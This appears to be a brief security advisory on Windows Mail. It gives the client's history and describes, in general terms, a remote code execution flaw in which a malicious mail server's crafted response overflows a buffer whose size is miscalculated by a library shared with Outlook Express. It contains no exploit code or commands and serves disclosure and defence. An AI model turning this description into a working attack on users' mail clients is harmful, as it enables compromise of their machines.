  1) Introduction
  =================
  
  Windows Mail is an e-mailand newsgroup client included in Windows Vista, that was superseded by Windows Live Mail.
  
  It is the successor to Outlook Express. Microsoft previewed Windows Mail on Channel 9 on October 10, 2005.[1]
  
  Unlike Outlook Express, Windows Mail is not considered to be a component of Internet Explorer. As such, it will not
  
  be made available for earlier Windows operating systems, while Windows Internet Explorer 7 was made available for
  
  Windows XP.
  
  Windows Mail has been succeeded by Windows Live Mail, which was built by the same development team as Windows Mail
  
  and also serves as the replacement for Outlook Express for Windows XP.

  3) Technical details
  ======================
  
  An unauthenticated remote code execution vulnerability exists in the way that the Windows Mail Client software
  
  handles specially crafted mail responses. An attempt to exploit the vulnerability would not require authentication,
  
  allowing an attacker to exploit the vulnerability by sending a specially crafted response to a client initiating a
  
  connection to a server under his control using the common mail protocols.
  
  
  The vulnerability is caused by a common library used by Outlook Express and Windows Mail insufficiently validating
  
  network data before using that data to calculate the necessary size of a buffer.
